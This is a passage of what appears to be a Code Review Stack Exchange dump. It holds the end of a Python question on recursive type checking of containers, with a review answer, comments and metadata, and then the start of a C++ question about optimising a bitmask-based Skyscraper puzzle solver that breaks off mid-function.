i in (1, 2): ... is_n_container(container, matching_type=int, depth=i) False True Unless the container is a type in parameter `matching_type` &gt;&gt;&gt; is_n_container(container, matching_type=(int, list), depth=1) True &quot;&quot;&quot; if _check_parameters(matching_type, container_type, length, depth): _matching_type = (matching_type if not isinstance(matching_type, list) else tuple(matching_type)) _container_type = (container_type if not isinstance(container_type, list) else tuple(container_type)) if (not isinstance(obj, GenericContainer) or not (_container_type is None or isinstance(obj, _container_type)) or (isinstance(length, Callable) and not length(obj)) or (isinstance(depth, Callable) and not depth(obj))): return False _length = length if isinstance(length, int) else None _depth = depth if isinstance(depth, int) else float('inf') if _length is not None: if _length &lt; 0: raise ValueError(&quot;length of the container must be positive,&quot; + f&quot; not {_length}&quot;) if not (isinstance(obj, Sized) or isinstance(obj, Iterable) or hasattr(obj, '__getitem__')): raise TypeError(f&quot;object of type '{type(obj).__name__}'&quot; + &quot; has no attribute len()&quot;) if ((isinstance(obj, Sized) and _length != len(obj)) or ( (isinstance(obj, Iterable) or hasattr(obj, '__getitem__')) and _length != sum(1 for _ in islice(obj, _length + 1)))): return False if _depth &lt; 0: raise ValueError(&quot;depth of the container must be positive,&quot; + f&quot; not {_depth}&quot;) if (matching_type is None or not (isinstance(obj, Iterable) or hasattr(obj, '__getitem__'))): return (_container_type is None or isinstance(obj, _container_type)) return _is_container(obj, _matching_type, _container_type, _depth) return None def _check_parameters(matching_type, container_type, length, depth) -&gt; bool: &quot;&quot;&quot;Returns `True` if all arguments for `is_n_container` have the correct format.&quot;&quot;&quot; return (True # Added for better readability and (matching_type is None or isinstance(matching_type, type) or is_n_list(matching_type, None, type) or is_n_tuple(matching_type, None, type)) and (container_type is None or (isclass(container_type) and issubclass(container_type, GenericContainer)) or (isinstance(container_type, list) and all((isclass(c_type) and issubclass(c_type, GenericContainer)) for c_type in container_type)) or (isinstance(container_type, tuple) and all((isclass(c_type) and issubclass(c_type, GenericContainer)) for c_type in container_type))) and (length is None or isinstance(length, int) or isinstance(length, Callable)) and (depth is None or isinstance(depth, int) or isinstance(depth, Callable))) def _is_container(obj: Iterable, matching_type: Union[type, Tuple[type, ...]], container_type: Union[type, Tuple[type, ...], None], depth: Union[int, float]) -&gt; bool: &quot;&quot;&quot;Checks properties of container `obj` recursively. Used in `is_n_container`.&quot;&quot;&quot; return depth &gt;= 0 and all( isinstance(element, matching_type) or ((isinstance(element, Iterable) or hasattr(element, '__getitem__')) and (container_type is None or isinstance(element, container_type)) and _is_container(element, matching_type, container_type, depth-1)) for element in obj ) def is_n_list(obj: Any, length: Optional[int], matching_type: Union[type, Tuple[type, ...]]) -&gt; bool: &quot;&quot;&quot;Checks if `obj` is a list with expected properties. Parameters ---------- obj : any Object that is checked to be a list with specified properties. matching_type : type or tuple of types, optional Allowed types for non-container elements of container 'obj'. length : int, optional Number of elements in container 'obj'. Returns ------- bool Returns 'True' if 'obj' is a list and all its elements are of a type defined in 'matching_type'. See Also -------- `is_n_container`: Checks if `obj` is a container with expected properties. &quot;&quot;&quot; return (isinstance(obj, list) and (length is None or length == len(obj)) and all(isinstance(element, matching_type) for element in obj)) def is_n_tuple(obj: Any, length: Optional[int], matching_type: Union[type, Tuple[type, ...]]) -&gt; bool: &quot;&quot;&quot;Checks if `obj` is a tuple with expected properties. Parameters ---------- obj : any Object that is checked to be a tuple with specified properties. matching_type : type or tuple of types, optional Allowed types for non-container elements of container 'obj'. length : int, optional Number of elements in container 'obj'. Returns ------- bool Returns 'True' if 'obj' is a tuple and all its elements are of a type defined in 'matching_type'. See Also -------- `is_n_container`: Checks if `obj` is a container with expected properties. &quot;&quot;&quot; return (isinstance(obj, tuple) and (length is None or length == len(obj)) and all(isinstance(element, matching_type) for element in obj)) </code></pre> <p>Additional specific questions:</p> <ol> <li>Should I scrap the whole thing from a Python standpoint, since its follows more of a LBYL principle than a EAFP principle <a href="https://devblogs.microsoft.com/python/idiomatic-python-eafp-versus-lbyl/" rel="nofollow noreferrer">(LBYL/EAFP)</a>?</li> <li>If not the whole thing, should I get rid of the <em>_check_parameters</em> method?</li> <li>Are there enough / too many examples for <em>is_n_container</em> in the docstring and are these examples helpful or should they be put in a example context?</li> <li>PEP8 suggests to use blank lines in functions sparingly. Should I use some in <em>is_n_container</em>? And if yes, where?</li> <li>Is the iteration warning about a possible changed container necessary / helpful?</li> <li>Is it ok to use three different indentations for the function parameters (*see remarks)?</li> </ol> <p>Some remarks:</p> <p>I use python 3.8.8 and pycharm 2020.3.4 . Since the sections 'Parameters', 'Returns' and 'Raises' won't format single back-ticks (``) in the docstring correctly (for me), I used single quotation marks ('') instead. I imported List, Tuple and Callable from typing seperatly, because in python 3.9 List and Tuple should be replaced with the generic list and tuple and Callable should be imported from collections.abc . I don't use any type hinting in <em>_check_parameters</em> as they all have type <em>Any</em> (i want to accept any type and return if they are of the desired type).</p> <p>*I use three different indentations because I usually use:</p> <ol> <li><p>If I can get it into two lines</p> <pre><code>def func(var1: type, var2: type, var3: type, var4: type) -&gt; type </code></pre> </li> <li><p>Else if I can get the type hint of the result into the line with the last variable</p> <pre><code>def name_too_long_to_get_parameters_in_two_lines(long_var_name1: type, long_var_name2: type, long_var_name3: type) -&gt; type </code></pre> </li> <li><p>Else</p> <pre><code>def name_and_result_type_hinting_too_long( var1: type, var2: type, var3: type ) -&gt; really_long_result_type </code></pre> </li> </ol>
[]
[ { "body": "<p>Assuming that you decide to retain <code>_check_parameters()</code>, here's an\nillustration of some alternative techniques for organizing a complex boolean\ncheck. (1) The <code>isinstance()</code> function will take a tuple of types, so you can\ndo some consolidation. (2) If you need to check for <code>None</code> and check for types,\nyou can do it all in one shot. (3) Some of your checks were repetitive; help\nthe reader by factoring things out. (4) Organize the checks like a\npretty-printed data structure because it gets the parens/brackets working for\nyou to convey logical structure. (5) Sometimes simple and fairly banal code\ncomments can function as visual/organizational sign posts to guide the\nreader. (6) I prefer the lines of code to lead with the substance rather than\nthe boolean operator -- which is mostly a stylistic preference, but I do think\nit combines better in these kinds of complex checks. For example, I felt no\nreadability-driven urge to add a preliminary <code>True and</code> to the expression.\nAlso, most people use editors with syntax highlighting, so the operators\npop out visually and there's no need to waste the prime real estate (the\nstart of each line) on the operator.</p>\n<pre><code>TNone = type(None)\n\ncheck_ctype_seq = lambda ctypes, cls: (\n isinstance(ctypes, cls) and\n all(\n isclass(ct) and\n issubclass(ct, GenericContainer)\n for ct in ctypes\n )\n)\n\nreturn (\n # Length and depth.\n isinstance(length, (int, Callable, TNone)) and\n isinstance(depth, (int, Callable, TNone)) and\n # Matching type.\n (\n isinstance(matching_type, (TNone, type)) or\n is_n_list(matching_type, None, type) or\n is_n_tuple(matching_type, None, type)\n ) and\n # Container_type.\n (\n container_type is None or\n (\n isclass(container_type)\n and issubclass(container_type, GenericContainer)\n ) or\n check_ctype_seq(container_type, list) or\n check_ctype_seq(container_type, tuple)\n )\n)\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T20:41:19.880", "Id": "508532", "Score": "0", "body": "(1) & (2): In the beginning I did check it like you suggested using a `type(None)` and a single `isinstance()`, but then decided against it after reading the comments [here](https://stackoverflow.com/questions/23086383/how-to-test-nonetype-in-python), [here](https://stackoverflow.com/questions/21706609/where-is-the-nonetype-located-in-python-3-x) and [here](https://stackoverflow.com/questions/17198466/none-python-error-bug). And that automatically translated in my mind into splitting the rest too." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T20:49:06.000", "Id": "508533", "Score": "0", "body": "(3) & (6): I did factor the repetitive checks out, but decided against it again after thinking it would hinder readability to scroll to a different function for such a simple check. For the boolean operator I simply hit the line limit with one expression and then decided to put it at the beginning of the line for consistencies sake. Besides changing that I definitely implement (4) & (5). Thanks!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T21:08:47.690", "Id": "508535", "Score": "0", "body": "@Jack Perhaps I'm overlooking some detail, but I don't read any of those links as ruling out consolidating isinstance() checks or including type(None) among those checks. Regarding the repeated code, you really do want to factor that out -- either to a nearby lambda (as I did) or to a separate function. It's beyond the threshold that most developers I work with would tolerate for repetition -- partly because of the nature of the check itself (it needs 2 tests, one requiring a comprehension) and especially because it's being used within an already-complex context." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T21:37:05.897", "Id": "508538", "Score": "0", "body": "They didn't rule it out, but some of the comment suggested using `var is None or isinstance(var, otherTypes)` instead of `isinstance(var, (TNone, otherTypes))`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T21:59:56.467", "Id": "508539", "Score": "0", "body": "@Jack I saw people asserting that but they only gave one reason I found convincing: in cases where you must heavily optimize for speed. As always context matters: I would never use instance() to test a value for None in an isolated, simple context; but in a very complex context, where you're already using instance() to check for other types, you might as well be practical and prioritize code weight and therefore readability. But people do evaluate such considerations differently -- which is one reason why writing software is closer to writing than it is to more rule-bound activities. Good luck" } ], "meta_data": { "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T16:53:26.077", "Id": "257448", "ParentId": "257444", "Score": "1" } } ]
{ "AcceptedAnswerId": "257448", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T15:19:44.813", "Id": "257444", "Score": "2", "Tags": [ "python", "python-3.x", "recursion", "validation" ], "Title": "Recursive type checking for containers" }
257444
<p>This is a follow up of <a href="https://codereview.stackexchange.com/questions/257197/skyscraper-solver-for-nxn-size-version-2-using-backtracking">Skyscraper Solver for NxN Size Version 2 (Using Backtracking)</a></p> <p>I followed the advice in the last Codereview and did the following optimizations:</p> <ul> <li><p>Implementation of the class <code>Field</code> using a single Bitmask wiht <code>std::uint32_t</code> to represent Skyscrapers and Nopes. To give you an idea for <code>n=4</code> the representation looks like this:</p> <pre><code>b0000 0 Nopes = {} b0001 1 Nopes = 1 b0010 2 Nopes = 2 b0011 3 Nopes = 1, 2 b0100 4 Nopes = 3 b0101 5 Nopes = 1, 3 b0110 6 Nopes = 2, 3 b0111 7 Skyscraper = 4 b1000 8 Nopes = 4 b1001 9 Nopes = 1, 4 b1010 10 Nopes = 2, 4 b1011 11 Skyscraper = 3 b1100 12 Nopes = 3, 4 b1101 13 Skyscraper b1110 14 Skyscraper = 1 b1111 15 Invalid all nope </code></pre> <p>Now the idea was that now that we represent Nopes and Skyscrapers with a bitmask the size for each field should go down a lot. Before this optimization I used an extra <code>Nope</code> class which is an <code>std::unordered_set</code> and an int for representing the Skyscraper.</p> <p>So some of the old Nope class methods could get fused into the new <code>Field</code> class saving us the extra implementation and keeping track of all the <code>Nope</code> stuff.</p> </li> <li><p>Storing the fields of the Board in an flat array. So instead of <code>std::vector&lt;std::vector&lt;Field&gt;&gt;</code> I know use <code>std::vector&lt;Field&gt;</code>. With the size of the puzzle we can still access each two dimensional position on the Board.</p> </li> </ul> <p>Now the bad news. With the optimization I was hoping the backtracking would solve the puzzles faster. Unfortunately the opposite happens. Now my solution is even more slow. I wonder if I just implemented the <code>Field</code> class with the Bitmask wrong.</p> <p>So please let me know what stinks in terms of performance.</p> <p>The full source code:</p> <pre><code>#include &quot;codewarsbacktracking.h&quot; #include &lt;algorithm&gt; #include &lt;cassert&gt; #include &lt;iomanip&gt; #include &lt;iostream&gt; #include &lt;numeric&gt; #include &lt;string&gt; #include &lt;unordered_set&gt; namespace codewarsbacktracking { struct ClueHints { ClueHints(std::size_t boardSize); ClueHints(); void reverse(); void removeNopesOnSkyscrapers(); std::vector&lt;int&gt; skyscrapers{}; std::vector&lt;std::vector&lt;int&gt;&gt; nopes{}; }; ClueHints::ClueHints(std::size_t boardSize) : skyscrapers{std::vector&lt;int&gt;(boardSize, 0)}, nopes{std::vector&lt;std::vector&lt;int&gt;&gt;(boardSize, std::vector&lt;int&gt;{})} { } void ClueHints::reverse() { std::reverse(skyscrapers.begin(), skyscrapers.end()); std::reverse(nopes.begin(), nopes.end()); } void ClueHints::removeNopesOnSkyscrapers() { for (std::size_t i = 0; i &lt; skyscrapers.size(); ++i) { if (skyscrapers[i] == 0) { continue; } nopes[i].clear(); } } std::optional&lt;ClueHints&gt; getClueHints(int clue, std::size_t boardSize) { if (clue == 0) { return {}; } ClueHints clueHints{boardSize}; std::vector&lt;std::unordered_set&lt;int&gt;&gt; nopes(boardSize, std::unordered_set&lt;int&gt;{}); if (clue == static_cast&lt;int&gt;(boardSize)) { for (std::size_t i = 0; i &lt; boardSize; ++i) { clueHints.skyscrapers[i] = i + 1; } } else if (clue == 1) { clueHints.skyscrapers[0] = boardSize; } else if (clue == 2) { nopes[0].insert(boardSize); nopes[1].insert(boardSize - 1); } else { for (std::size_t fieldIdx = 0; fieldIdx &lt; static_cast&lt;std::size_t&gt;(clue - 1); ++fieldIdx) { for (std::size_t nopeValue = boardSize; nopeValue &gt;= (boardSize - (clue - 2) + fieldIdx); --nopeValue) { nopes[fieldIdx].insert(nopeValue); } } } assert(nopes.size() == clueHints.nopes.size()); for (std::size_t i = 0; i &lt; nopes.size(); ++i) { clueHints.nopes[i] = std::vector&lt;int&gt;(nopes[i].begin(), nopes[i].end()); } return {clueHints}; } std::optional&lt;ClueHints&gt; merge(std::optional&lt;ClueHints&gt; optFrontClueHints, std::optional&lt;ClueHints&gt; optBackClueHints) { if (!optFrontClueHints &amp;&amp; !optBackClueHints) { return {}; } if (!optFrontClueHints) { optBackClueHints-&gt;reverse(); return optBackClueHints; } if (!optBackClueHints) { return optFrontClueHints; } auto size = optFrontClueHints-&gt;skyscrapers.size(); ClueHints clueHints{size}; assert(optFrontClueHints-&gt;skyscrapers.size() == optFrontClueHints-&gt;nopes.size()); assert(optBackClueHints-&gt;skyscrapers.size() == optBackClueHints-&gt;nopes.size()); assert(optFrontClueHints-&gt;skyscrapers.size() == optBackClueHints-&gt;skyscrapers.size()); optBackClueHints-&gt;reverse(); for (std::size_t i = 0; i &lt; optFrontClueHints-&gt;skyscrapers.size(); ++i) { auto frontSkyscraper = optFrontClueHints-&gt;skyscrapers[i]; auto backSkyscraper = optBackClueHints-&gt;skyscrapers[i]; if (frontSkyscraper != 0 &amp;&amp; backSkyscraper != 0) { assert(frontSkyscraper == backSkyscraper); clueHints.skyscrapers[i] = frontSkyscraper; } else if (frontSkyscraper != 0) { clueHints.skyscrapers[i] = frontSkyscraper; clueHints.nopes[i].clear(); } else { // backSkyscraper != 0 clueHints.skyscrapers[i] = backSkyscraper; clueHints.nopes[i].clear(); } if (clueHints.skyscrapers[i] != 0) { continue; } std::unordered_set&lt;int&gt; nopes(optFrontClueHints-&gt;nopes[i].begin(), optFrontClueHints-&gt;nopes[i].end()); nopes.insert(optBackClueHints-&gt;nopes[i].begin(), optBackClueHints-&gt;nopes[i].end()); clueHints.nopes[i] = std::vector&lt;int&gt;(nopes.begin(), nopes.end()); } clueHints.removeNopesOnSkyscrapers(); return {clueHints}; } void mergeClueHintsPerRow(std::vector&lt;std::optional&lt;ClueHints&gt;&gt; &amp;clueHints) { std::size_t startOffset = clueHints.size() / 4 * 3 - 1; std::size_t offset = startOffset; for (std::size_t frontIdx = 0; frontIdx &lt; clueHints.size() / 2; ++frontIdx, offset -= 2) { if (frontIdx == clueHints.size() / 4) { offset = startOffset; } int backIdx = frontIdx + offset; clueHints[frontIdx] = merge(clueHints[frontIdx], clueHints[backIdx]); } clueHints.erase(clueHints.begin() + clueHints.size() / 2, clueHints.end()); } std::vector&lt;std::optional&lt;ClueHints&gt;&gt; getClueHints(const std::vector&lt;int&gt; &amp;clues, std::size_t boardSize) { std::vector&lt;std::optional&lt;ClueHints&gt;&gt; clueHints; clueHints.reserve(clues.size()); for (const auto &amp;clue : clues) { clueHints.emplace_back(getClueHints(clue, boardSize)); } mergeClueHintsPerRow(clueHints); return clueHints; } template &lt;typename It&gt; int missingNumberInSequence(It begin, It end) { int n = std::distance(begin, end) + 1; double projectedSum = (n + 1) * (n / 2.0); int actualSum = std::accumulate(begin, end, 0); return projectedSum - actualSum; } using BitmaskType = std::uint32_t; /* Example size = 4 b0000 0 Nopes = {} b0001 1 Nopes = 1 b0010 2 Nopes = 2 b0011 3 Nopes = 1, 2 b0100 4 Nopes = 3 b0101 5 Nopes = 1, 3 b0110 6 Nopes = 2, 3 b0111 7 Skyscraper = 4 b1000 8 Nopes = 4 b1001 9 Nopes = 1, 4 b1010 10 Nopes = 2, 4 b1011 11 Skyscraper = 3 b1100 12 Nopes = 3, 4 b1101 13 Skyscraper b1110 14 Skyscraper = 1 b1111 15 Invalid all nope */ class Field { public: Field(std::size_t size); void insertSkyscraper(int skyscraper); void insertNope(int nope); void insertNopes(const std::vector&lt;int&gt; &amp;nopes); int skyscraper() const; std::vector&lt;int&gt; nopes() const; bool hasSkyscraper() const; bool containsNope(int value) const; bool containsNopes(const std::vector&lt;int&gt; &amp;values); BitmaskType bitmask() const; void setBitmask(BitmaskType bitmask); private: bool bitIsToggled(BitmaskType bitmask, int bit) const; BitmaskType mBitmask{0}; std::size_t mSize; friend inline bool operator==(const Field &amp;lhs, const Field &amp;rhs); friend inline bool operator!=(const Field &amp;lhs, const Field &amp;rhs); }; inline bool operator==(const Field &amp;lhs, const Field &amp;rhs) { return lhs.mBitmask == rhs.mBitmask; } inline bool operator!=(const Field &amp;lhs, const Field &amp;rhs) { return !(lhs == rhs); } Field::Field(std::size_t size) : mSize{size} { } void Field::insertSkyscraper(int skyscraper) { assert(skyscraper &gt; 0 &amp;&amp; skyscraper &lt;= static_cast&lt;int&gt;(mSize)); BitmaskType mask = 1; for (int i = 0; i &lt; static_cast&lt;int&gt;(mSize); ++i) { if (i != skyscraper - 1) { mBitmask |= mask; } mask &lt;&lt;= 1; } } void Field::insertNope(int nope) { assert(nope &gt; 0 &amp;&amp; nope &lt;= static_cast&lt;int&gt;(mSize)); mBitmask |= 1 &lt;&lt; (nope - 1); } void Field::insertNopes(const std::vector&lt;int&gt; &amp;nopes) { for (const auto nope : nopes) { insertNope(nope); } } int Field::skyscraper() const { if (!hasSkyscraper()) { return 0; } for (std::size_t i = 0; i &lt; mSize; ++i) { if (!(bitIsToggled(mBitmask, i))) { return i + 1; } } return 0; } std::vector&lt;int&gt; Field::nopes() const { std::vector&lt;int&gt; nopes; nopes.reserve(mSize - 1); for (std::size_t i = 0; i &lt; mSize; ++i) { if (bitIsToggled(mBitmask, i)) { nopes.emplace_back(i + 1); } } return nopes; } bool Field::hasSkyscraper() const { bool foundZero = false; for (std::size_t i = 0; i &lt; mSize; ++i) { if (!(bitIsToggled(mBitmask, i))) { if (!foundZero) { foundZero = true; } else { // found more than one zero so no skyscraper present return false; } } } return true; } bool Field::containsNope(int value) const { return bitIsToggled(mBitmask, value - 1); } bool Field::containsNopes(const std::vector&lt;int&gt; &amp;values) { for (const auto &amp;value : values) { if (!containsNope(value)) { return false; } } return true; } BitmaskType Field::bitmask() const { return mBitmask; } void Field::setBitmask(BitmaskType bitmask) { mBitmask = bitmask; } bool Field::bitIsToggled(BitmaskType bitmask, int bit) const { return bitmask &amp; (1 &lt;&lt; bit); } struct Point { int x; int y; }; inline bool operator==(const Point &amp;lhs, const Point &amp;rhs) { return lhs.x == rhs.x &amp;&amp; lhs.y == rhs.y; } inline bool operator!=(const Point &amp;lhs, const Point &amp;rhs) { return !(lhs == rhs); } enum class ReadDirection { topToBottom, rightToLeft }; void nextDirection(ReadDirection &amp;readDirection); void advanceToNextPosition(Point &amp;point, ReadDirection readDirection, int clueIdx); void nextDirection(ReadDirection &amp;readDirection) { assert(readDirection != ReadDirection::rightToLeft); int dir = static_cast&lt;int&gt;(readDirection); ++dir; readDirection = static_cast&lt;ReadDirection&gt;(dir); } void advanceToNextPosition(Point &amp;point, ReadDirection readDirection, int clueIdx) { if (clueIdx == 0) { return; } switch (readDirection) { case ReadDirection::topToBottom: ++point.x; break; case ReadDirection::rightToLeft: ++point.y; break; } } class Row { public: Row(std::vector&lt;Field&gt; &amp;fields, std::size_t size, const Point &amp;startPoint, const ReadDirection &amp;readDirection); void insertSkyscraper(int pos, int skyscraper); std::size_t size() const; void addCrossingRows(Row *crossingRow); bool hasOnlyOneNopeField() const; void addLastMissingSkyscraper(); void addNopesToAllNopeFields(int nope); bool allFieldsContainSkyscraper() const; int skyscraperCount() const; int nopeCount(int nope) const; void guessSkyscraperOutOfNeighbourNopes(); enum class Direction { front, back }; bool hasSkyscrapers(const std::vector&lt;int&gt; &amp;skyscrapers, Direction direction) const; bool hasNopes(const std::vector&lt;std::vector&lt;int&gt;&gt; &amp;nopes, Direction direction) const; void addSkyscrapers(const std::vector&lt;int&gt; &amp;skyscrapers, Direction direction); void addNopes(const std::vector&lt;std::vector&lt;int&gt;&gt; &amp;nopes, Direction direction); std::vector&lt;Field *&gt; getFields() const; private: template &lt;typename SkyIterator, typename FieldIterator&gt; bool hasSkyscrapers(SkyIterator skyItBegin, SkyIterator skyItEnd, FieldIterator fieldItBegin, FieldIterator fieldItEnd) const; template &lt;typename NopesIterator, typename FieldIterator&gt; bool hasNopes(NopesIterator nopesItBegin, NopesIterator nopesItEnd, FieldIterator fieldItBegin, FieldIterator fieldItEnd) const; template &lt;typename SkyIterator, typename FieldIterator&gt; void addSkyscrapers(SkyIterator skyItBegin, SkyIterator skyItEnd, FieldIterator fieldItBegin, FieldIterator fieldItEnd); template &lt;typename NopesIterator, typename FieldIterator&gt; void addNopes(NopesIterator nopesItBegin, NopesIterator nopesItEnd, FieldIterator fieldItBegin, FieldIterator fieldItEnd); template &lt;typename IteratorType&gt; void insertSkyscraper(IteratorType it, int skyscraper); template &lt;typename IteratorType&gt; void insertNope(IteratorType it, int nope); template &lt;typename IteratorType&gt; void insertNopes(IteratorType it, const std::vector&lt;int&gt; &amp;nopes); int getIdx(std::vector&lt;Field *&gt;::const_iterator cit) const; int getIdx(std::vector&lt;Field *&gt;::const_reverse_iterator crit) const; std::vector&lt;Field *&gt; getRowFields(const ReadDirection &amp;readDirection, std::vector&lt;Field&gt; &amp;boardFields, std::size_t size, const Point &amp;startPoint); bool onlyOneFieldWithoutNope(int nope) const; bool nopeExistsAsSkyscraperInFields(const std::vector&lt;Field *&gt; &amp;rowFields, int nope) const; std::optional&lt;int&gt; nopeValueInAllButOneField() const; void insertSkyscraperToFirstFieldWithoutNope(int nope); bool hasSkyscraper(int skyscraper) const; std::vector&lt;Row *&gt; mCrossingRows; std::vector&lt;Field *&gt; mRowFields; }; Row::Row(std::vector&lt;Field&gt; &amp;fields, std::size_t size, const Point &amp;startPoint, const ReadDirection &amp;readDirection) : mRowFields{getRowFields(readDirection, fields, size, startPoint)} { } void Row::insertSkyscraper(int pos, int skyscraper) { assert(pos &gt;= 0 &amp;&amp; pos &lt; static_cast&lt;int&gt;(mRowFields.size())); assert(skyscraper &gt; 0 &amp;&amp; skyscraper &lt;= static_cast&lt;int&gt;(mRowFields.size())); auto it = mRowFields.begin() + pos; insertSkyscraper(it, skyscraper); } std::size_t Row::size() const { return mRowFields.size(); } void Row::addCrossingRows(Row *crossingRow) { assert(crossingRow != nullptr); assert(mCrossingRows.size() &lt; size()); mCrossingRows.push_back(crossingRow); } bool Row::hasOnlyOneNopeField() const { return skyscraperCount() == static_cast&lt;int&gt;(size() - 1); } void Row::addLastMissingSkyscraper() { assert(hasOnlyOneNopeField()); auto nopeFieldIt = mRowFields.end(); std::vector&lt;int&gt; sequence; sequence.reserve(size() - 1); for (auto it = mRowFields.begin(); it != mRowFields.end(); ++it) { if ((*it)-&gt;hasSkyscraper()) { sequence.emplace_back((*it)-&gt;skyscraper()); } else { nopeFieldIt = it; } } assert(nopeFieldIt != mRowFields.end()); assert(skyscraperCount() == static_cast&lt;int&gt;(sequence.size())); auto missingValue = missingNumberInSequence(sequence.begin(), sequence.end()); assert(missingValue &gt;= 0 &amp;&amp; missingValue &lt;= static_cast&lt;int&gt;(size())); insertSkyscraper(nopeFieldIt, missingValue); } void Row::addNopesToAllNopeFields(int nope) { for (auto it = mRowFields.begin(); it != mRowFields.end(); ++it) { if ((*it)-&gt;hasSkyscraper()) { continue; } insertNope(it, nope); } } bool Row::allFieldsContainSkyscraper() const { return skyscraperCount() == static_cast&lt;int&gt;(size()); } int Row::skyscraperCount() const { int count = 0; for (auto cit = mRowFields.cbegin(); cit != mRowFields.cend(); ++cit) { if ((*cit)-&gt;hasSkyscraper()) { ++count; } } return count; } int Row::nopeCount(int nope) const { int count = 0; for (auto cit = mRowFields.cbegin(); cit != mRowFields.cend(); ++cit) { if ((*cit)-&gt;hasSkyscraper()) { continue; } if ((*cit)-&gt;containsNope(nope)) { ++count; } } return count; } void Row::guessSkyscraperOutOfNeighbourNopes() { for (;;) { auto optNope = nopeValueInAllButOneField(); if (!optNope) { break; } insertSkyscraperToFirstFieldWithoutNope(*optNope); } } bool Row::hasSkyscrapers(const std::vector&lt;int&gt; &amp;skyscrapers, Row::Direction direction) const { if (direction == Direction::front) { return hasSkyscrapers(skyscrapers.cbegin(), skyscrapers.cend(), mRowFields.cbegin(), mRowFields.cend()); } return hasSkyscrapers(skyscrapers.cbegin(), skyscrapers.cend(), mRowFields.crbegin(), mRowFields.crend()); } bool Row::hasNopes(const std::vector&lt;std::vector&lt;int&gt;&gt; &amp;nopes, Direction direction) const { if (direction == Direction::front) { return hasNopes(nopes.cbegin(), nopes.cend(), mRowFields.cbegin(), mRowFields.cend()); } return hasNopes(nopes.cbegin(), nopes.cend(), mRowFields.crbegin(), mRowFields.crend()); } void Row::addSkyscrapers(const std::vector&lt;int&gt; &amp;skyscrapers, Direction direction) { if (direction == Direction::front) { addSkyscrapers(skyscrapers.begin(), skyscrapers.end(), mRowFields.begin(), mRowFields.end()); } else { addSkyscrapers(skyscrapers.begin(), skyscrapers.end(), mRowFields.rbegin(), mRowFields.rend()); } } void Row::addNopes(const std::vector&lt;std::vector&lt;int&gt;&gt; &amp;nopes, Direction direction) { if (direction == Direction::front) { addNopes(nopes.begin(), nopes.end(), mRowFields.begin(), mRowFields.end()); } else { addNopes(nopes.begin(), nopes.end(), mRowFields.rbegin(), mRowFields.rend()); } } std::vector&lt;Field *&gt; Row::getFields() const { return mRowFields; } template &lt;typename SkyIterator, typename FieldIterator&gt; bool Row::hasSkyscrapers(SkyIterator skyItBegin, SkyIterator skyItEnd, FieldIterator fieldItBegin, FieldIterator fieldItEnd) const { auto skyIt = skyItBegin; for (auto fieldIt = fieldItBegin; fieldIt != fieldItEnd &amp;&amp; skyIt != skyItEnd; ++fieldIt, ++skyIt) { if (*skyIt == 0 &amp;&amp; (*fieldIt)-&gt;hasSkyscraper()) { continue; } if ((*fieldIt)-&gt;skyscraper() != *skyIt) { return false; } } return true; } template &lt;typename NopesIterator, typename FieldIterator&gt; bool Row::hasNopes(NopesIterator nopesItBegin, NopesIterator nopesItEnd, FieldIterator fieldItBegin, FieldIterator fieldItEnd) const { auto nopesIt = nopesItBegin; for (auto fieldIt = fieldItBegin; fieldIt != fieldItEnd &amp;&amp; nopesIt != nopesItEnd; ++fieldIt, ++nopesIt) { if (nopesIt-&gt;empty()) { continue; } if ((*fieldIt)-&gt;hasSkyscraper()) { return false; } if (!(*fieldIt)-&gt;containsNopes(*nopesIt)) { return false; } } return true; } template &lt;typename SkyIterator, typename FieldIterator&gt; void Row::addSkyscrapers(SkyIterator skyItBegin, SkyIterator skyItEnd, FieldIterator fieldItBegin, FieldIterator fieldItEnd) { auto skyIt = skyItBegin; for (auto fieldIt = fieldItBegin; fieldIt != fieldItEnd &amp;&amp; skyIt != skyItEnd; ++fieldIt, ++skyIt) { if (*skyIt == 0) { continue; } insertSkyscraper(fieldIt, *skyIt); } } template &lt;typename NopesIterator, typename FieldIterator&gt; void Row::addNopes(NopesIterator nopesItBegin, NopesIterator nopesItEnd, FieldIterator fieldItBegin, FieldIterator fieldItEnd) { auto nopesIt = nopesItBegin; for (auto fieldIt = fieldItBegin; fieldIt != fieldItEnd &amp;&amp; nopesIt != nopesItEnd; ++fieldIt, ++nopesIt) { if (nopesIt-&gt;empty()) { continue; } insertNopes(fieldIt, *nopesIt); } } template &lt;typename FieldIterator&gt; void Row::insertSkyscraper(FieldIterator fieldIt, int skyscraper) { assert(mCrossingRows.size() == size()); if ((*fieldIt)-&gt;hasSkyscraper()) { return; } (*fieldIt)-&gt;insertSkyscraper(skyscraper); if (hasOnlyOneNopeField()) { addLastMissingSkyscraper(); } addNopesToAllNopeFields(skyscraper); int idx = getIdx(fieldIt); if (mCrossingRows[idx]-&gt;hasOnlyOneNopeField()) { mCrossingRows[idx]-&gt;addLastMissingSkyscraper(); } mCrossingRows[idx]-&gt;addNopesToAllNopeFields(skyscraper); } template &lt;typename FieldIterator&gt; void Row::insertNope(FieldIterator fieldIt, int nope) { if ((*fieldIt)-&gt;hasSkyscraper()) { return; } if ((*fieldIt)-&gt;containsNope(nope)) { return; } bool hasSkyscraperBefore = (*fieldIt)-&gt;hasSkyscraper(); (*fieldIt)-&gt;insertNope(nope); // skyscraper was added so we have to add nopes to the neighbours // probaly could insert only nopes directly if (!hasSkyscraperBefore &amp;&amp; (*fieldIt)-&gt;hasSkyscraper()) { insertSkyscraper(fieldIt, (*fieldIt)-&gt;skyscraper()); } if (onlyOneFieldWithoutNope(nope)) { insertSkyscraperToFirstFieldWithoutNope(nope); } int idx = getIdx(fieldIt); if (mCrossingRows[idx]-&gt;onlyOneFieldWithoutNope(nope)) { mCrossingRows[idx]-&gt;insertSkyscraperToFirstFieldWithoutNope(nope); } } template &lt;typename IteratorType&gt; void Row::insertNopes(IteratorType it, const std::vector&lt;int&gt; &amp;nopes) { for (const auto &amp;nope : nopes) { insertNope(it, nope); } } int Row::getIdx(std::vector&lt;Field *&gt;::const_iterator cit) const { return std::distance(mRowFields.cbegin(), cit); 